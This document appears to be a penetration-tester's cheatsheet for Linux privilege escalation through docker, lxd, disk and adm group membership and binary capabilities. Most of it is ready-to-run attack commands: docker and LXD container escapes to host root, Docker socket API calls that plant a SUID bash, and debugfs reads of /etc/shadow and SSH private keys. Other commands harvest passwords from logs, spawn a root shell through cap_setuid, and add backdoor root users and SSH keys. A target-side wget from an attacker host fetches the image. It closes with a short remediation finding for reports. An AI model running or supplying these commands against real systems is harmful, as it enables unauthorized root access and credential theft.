🛡️ Methodology Checklist

  • Check group membership: id
  • lxd group: import Alpine → create privileged container → mount host /
  • docker group: escape via docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • Writable /var/run/docker.sock (even without docker group): drive the API directly
  • disk group: read raw filesystem via debugfs /dev/sda1
  • adm group: mine logs for credentials in /var/log
  • Capabilities: getcap -r / 2>/dev/null
  • Exploit cap_setuid or cap_dac_override if present

🎯 Operational Context

Use when: User is member of interesting groups (docker, lxd, disk, adm, shadow) or capabilities are set on binaries — specific escalation paths for each. Think Dumber First: id output shows group membership. Docker group = docker run -v /:/mnt --rm -it alpine chroot /mnt sh = root. lxd group = container breakout to root. disk group = raw disk read = read /etc/shadow. Each group has a specific one-liner. Skip when: User is only in standard groups (user, sudo, www-data) — move to other privesc vectors.


⚡ Tactical Cheatsheet

CommandTactical Outcome
idCheck group membership — look for docker, lxd, disk, adm, shadow
docker run -v /:/mnt --rm -it alpine chroot /mnt shDocker group → mount host root → chroot to root shell
ls -l /var/run/docker.sockCheck for world/group-writable socket → root-equivalent even without the docker group
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shWritable socket → privileged container → host root
curl -s --unix-socket /var/run/docker.sock http://localhost/images/jsonTalk to Docker API directly when no docker CLI is installed
lxc image import alpine.tar.gz --alias alpineImport LXD image to create privileged container
lxc init alpine alpine -c security.privileged=trueCreate privileged LXD container
lxc config device add alpine mydevice disk source=/ path=/mnt/root recursive=trueMount host root into LXD container
lxc start alpine && lxc exec alpine /bin/shStart container and drop into shell (use /bin/sh, not /bin/bash)
debugfs /dev/sda1Disk group → raw disk access via debugfs
debugfs -w /dev/sda1Open disk writable — can modify /etc/passwd directly on disk
grep adm /etc/group; zcat /var/log/auth.log.*.gz | grep -i passadm group → read compressed auth logs for credentials
getcap -r / 2>/dev/nullEnumerate all files with Linux capabilities
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'cap_setuid+ep on python → root shell
vim /etc/passwdcap_dac_override+ep on vim → edit any file as any user
openssl passwd -1 [PASS]Generate md5crypt hash for /etc/passwd entry

🔬 Deep Dive & Workflow

LXD Privilege Escalation (Full Workflow)

# On attacker machine — build Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# → produces alpine-v3.X-x86_64-YYYYMMDD.tar.gz
 
# Transfer to target
python3 -m http.server 80   # attacker
wget http://[LHOST]/alpine-v3.X-x86_64.tar.gz   # target
 
# Import and configure
lxc image import alpine-v3.X-x86_64.tar.gz --alias alpine
lxc init alpine alpine -c security.privileged=true
lxc config device add alpine mydevice disk source=/ path=/mnt/root recursive=true
lxc start alpine
lxc exec alpine /bin/sh   # note: /bin/sh NOT /bin/bash in Alpine
 
# Inside container — host filesystem at /mnt/root
cat /mnt/root/etc/shadow
# Add root user or SSH key
echo '[PUBKEY]' >> /mnt/root/root/.ssh/authorized_keys

Docker Group Escape Variants

# Basic chroot to host root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 
# Add SUID bash
docker run -v /:/mnt --rm -it alpine chroot /mnt bash -c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
# Then: /tmp/rootbash -p → root shell
 
# Add SSH key
docker run -v /:/mnt --rm -it alpine sh -c "mkdir /mnt/root/.ssh && echo '[PUBKEY]' >> /mnt/root/.ssh/authorized_keys"

Writable Docker Socket (no docker group needed)

A world- or group-writable /var/run/docker.sock is root-equivalent even if you are not in the docker group — anyone who can write to the socket can ask the daemon (running as root) to mount the host and run commands.

# Spot an exploitable socket
ls -l /var/run/docker.sock          # srw-rw-rw- (world) or a group you're in = exploitable
 
# If the docker CLI is present, just point it at the socket
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
 
# No docker CLI? Drive the REST API over the socket with curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json   # list usable images
# Create a container that bind-mounts host / and makes a SUID bash on the host
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["chroot","/host","sh","-c","cp /bin/bash /host/tmp/0bash; chmod +s /host/tmp/0bash"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create
# → {"Id":"<CID>"} — start it:
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<CID>/start
/tmp/0bash -p          # → root shell on the host

Disk Group — Raw Disk Access

# Find disk devices
df -h    # shows mounted filesystems and device names
lsblk    # block device tree
 
# Open with debugfs
debugfs /dev/sda1
# Interactive commands:
debugfs: cat /etc/shadow
debugfs: ls /root
debugfs: cat /root/.ssh/id_rsa
 
# Write mode (DANGEROUS — can corrupt filesystem)
debugfs -w /dev/sda1
# Can modify files directly on disk — use with extreme caution

adm Group — Log Credential Hunt

# adm group can read /var/log/ files
grep -i "pass\|password\|authenticat" /var/log/syslog
grep -i "pass\|password" /var/log/auth.log
 
# Compressed log rotation
zcat /var/log/auth.log.*.gz | grep -i "pass"
zcat /var/log/syslog.*.gz | grep -i "password"
 
# Apache logs may contain credentials sent in GET params
cat /var/log/apache2/access.log | grep "password="

Linux Capabilities Quick Reference

CapabilityEffectExploit
cap_setuid+epCan call setuid(0)python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_dac_override+epBypass file permissionsEdit /etc/passwd with vim or write anywhere
cap_net_raw+epRaw socket accessSniff traffic without root
cap_sys_admin+epMany privileged opsMount filesystems
cap_chown+epChange file ownershipchown root:root any file
# cap_dac_override on vim — add root user
vim /etc/passwd
# Insert: root2:[HASH]:0:0:root:/root:/bin/bash
# Generate hash first: openssl passwd -1 [PASS]

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Docker group breakout failsDocker not runningCheck: systemctl status docker; start if stopped or try docker.sock directly
lxd group escalation failslxd not initializedInitialize: lxd init; then follow standard lxd container breakout steps
Capability ep_bind_service not exploitableNeed specific capabilitygetcap -r / 2>/dev/null; match each capability to GTFOBins escalation path
disk group raw read blockedDevice not accessibleCheck accessible devices: ls /dev/sd*; ls /dev/mapper/; use debugfs for ext4 volumes
adm group access to logsNot a direct privesc but usefuladm group = read /var/log/; look for creds in auth.log, syslog, application logs

📝 Reporting Trigger

Finding Title: Special Group Membership Enables Root Privilege Escalation Impact: Membership in docker, lxd, or disk groups provides equivalent-to-root access through container breakout or raw disk access, representing a complete privilege escalation without exploiting any software vulnerability. Root Cause: Users granted group membership for convenience (e.g., docker group to avoid sudo for containers) without understanding that group membership is equivalent to root access. Recommendation: Remove all users from docker, lxd, and disk groups except required service accounts. Use rootless Docker for user container access. Implement sudo-based access controls for container operations. Audit group membership against least-privilege principle.